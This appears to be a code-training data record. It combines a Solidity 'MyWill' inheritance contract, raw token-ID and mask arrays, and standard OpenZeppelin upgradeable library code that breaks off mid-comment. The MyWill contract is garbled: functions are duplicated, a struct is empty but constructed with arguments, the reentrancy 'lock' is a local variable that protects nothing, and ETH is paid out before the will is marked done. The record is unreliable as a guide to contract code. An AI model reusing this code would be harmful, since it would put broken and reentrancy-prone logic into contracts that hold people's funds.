contract MyWill is WhitelistAdminRole{ using SafeMath for uint256; uint256 private _currentTokenID = 0; mapping (address => Will) public wills; mapping(address => bool) public creators; mapping(string=>uint256) public fileHashOnBlock; mapping(string=>uint256) public ipfsfileHashOnBlock; struct Will { } event effectiveWillEvent(address indexed creater); event withdrawEvent(uint256 indexed tokenId,address successor); event makeWillEvent(address[] indexed successor,uint256[] amount,string indexed fileHash); function makeWill(address[] calldata successors ,uint256[] calldata amounts ,string calldata fileHash,string calldata ipfsFileHash) payable external{ require(amounts.length>0,"amounts must greater than one"); uint256 totalAmount; for(uint8 i=0;i<amounts.length;i++){ totalAmount+=amounts[i]; } uint256 ethAmount = msg.value; require(ethAmount>totalAmount,"amount can not less zero"); wills[msg.sender] = Will(false, msg.sender, successors, amounts,fileHash,ipfsFileHash); creators[msg.sender] = true; fileHashOnBlock[fileHash] = block.number; ipfsfileHashOnBlock[ipfsFileHash] = block.number; emit makeWillEvent(successors,amounts,fileHash); } function makeWill(address[] calldata successors ,uint256[] calldata amounts ,string calldata fileHash,string calldata ipfsFileHash) payable external{ require(amounts.length>0,"amounts must greater than one"); uint256 totalAmount; for(uint8 i=0;i<amounts.length;i++){ totalAmount+=amounts[i]; } uint256 ethAmount = msg.value; require(ethAmount>totalAmount,"amount can not less zero"); wills[msg.sender] = Will(false, msg.sender, successors, amounts,fileHash,ipfsFileHash); creators[msg.sender] = true; fileHashOnBlock[fileHash] = block.number; ipfsfileHashOnBlock[ipfsFileHash] = block.number; emit makeWillEvent(successors,amounts,fileHash); } function effectiveWill(address createrAddress) onlyWhitelistAdmin external{ bool locked = false; if(!locked){ locked = true; require(creators[createrAddress],"creater not exist!"); Will storage will = wills[createrAddress]; emit effectiveWillEvent(createrAddress); require(will.isEffective == false,"will is not effective!"); for(uint8 i=0;i<will.successors.length;i++){ address successor = will.successors[i]; uint256 amount = will.amounts[i]; TransferHelper.safeTransferETH(successor,amount); } will.isEffective = true; locked = false; emit effectiveWillEvent(will.creater); } } function effectiveWill(address createrAddress) onlyWhitelistAdmin external{ bool locked = false; if(!locked){ locked = true; require(creators[createrAddress],"creater not exist!"); Will storage will = wills[createrAddress]; emit effectiveWillEvent(createrAddress); require(will.isEffective == false,"will is not effective!"); for(uint8 i=0;i<will.successors.length;i++){ address successor = will.successors[i]; uint256 amount = will.amounts[i]; TransferHelper.safeTransferETH(successor,amount); } will.isEffective = true; locked = false; emit effectiveWillEvent(will.creater); } } function effectiveWill(address createrAddress) onlyWhitelistAdmin external{ bool locked = false; if(!locked){ locked = true; require(creators[createrAddress],"creater not exist!"); Will storage will = wills[createrAddress]; emit effectiveWillEvent(createrAddress); require(will.isEffective == false,"will is not effective!"); for(uint8 i=0;i<will.successors.length;i++){ address successor = will.successors[i]; uint256 amount = will.amounts[i]; TransferHelper.safeTransferETH(successor,amount); } will.isEffective = true; locked = false; emit effectiveWillEvent(will.creater); } } }
8,101,922
[ 1, 9940, 8139, 364, 533, 31, 9940, 5267, 364, 1758, 31, 167, 249, 234, 165, 124, 119, 2816, 166, 112, 122, 166, 123, 247, 168, 253, 231, 166, 239, 123, 166, 256, 250, 166, 242, 120, 625, 2556, 1651, 166, 112, 122, 166, 123, 247, 168, 253, 231, 166, 239, 123, 166, 256, 250, 166, 242, 120, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 8005, 13670, 353, 3497, 7523, 4446, 2996, 95, 203, 377, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2254, 5034, 3238, 389, 2972, 1345, 734, 273, 374, 31, 203, 565, 2874, 261, 2867, 516, 9980, 13, 1071, 903, 87, 31, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 1519, 3062, 31, 203, 565, 2874, 12, 1080, 9207, 11890, 5034, 13, 1071, 585, 2310, 1398, 1768, 31, 203, 565, 2874, 12, 1080, 9207, 11890, 5034, 13, 1071, 2359, 2556, 768, 2310, 1398, 1768, 31, 203, 377, 203, 377, 1958, 9980, 288, 203, 565, 289, 203, 377, 203, 565, 871, 11448, 13670, 1133, 12, 2867, 8808, 1519, 2045, 1769, 203, 565, 871, 598, 9446, 1133, 12, 11890, 5034, 8808, 1147, 548, 16, 2867, 19532, 1769, 203, 377, 203, 377, 203, 565, 871, 1221, 13670, 1133, 12, 2867, 8526, 8808, 19532, 16, 11890, 5034, 8526, 3844, 16, 1080, 225, 8808, 585, 2310, 1769, 203, 565, 445, 1221, 13670, 12, 2867, 8526, 745, 892, 25190, 269, 11890, 5034, 8526, 745, 892, 30980, 269, 1080, 745, 892, 585, 2310, 16, 1080, 745, 892, 2359, 2556, 812, 2310, 13, 8843, 429, 3903, 95, 203, 3639, 2583, 12, 8949, 87, 18, 2469, 34, 20, 10837, 8949, 87, 1297, 6802, 2353, 1245, 8863, 203, 3639, 2254, 5034, 2078, 6275, 31, 203, 3639, 364, 12, 11890, 28, 277, 33, 20, 31, 77, 32, 8949, 87, 18, 2469, 31, 77, 27245, 95, 203, 5411, 2078, 6275, 15, 33, 8949, 87, 63, 77, 15533, 203, 3639, 289, 203, 3639, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155Upgradeable.sol"; import "./IERC1155ReceiverUpgradeable.sol"; import "./extensions/IERC1155MetadataURIUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable { using AddressUpgradeable for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ function __ERC1155_init(string memory uri_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155_init_unchained(uri_); } function __ERC1155_init_unchained(string memory uri_) internal initializer { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC1155Upgradeable).interfaceId || interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155Upgradeable.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas 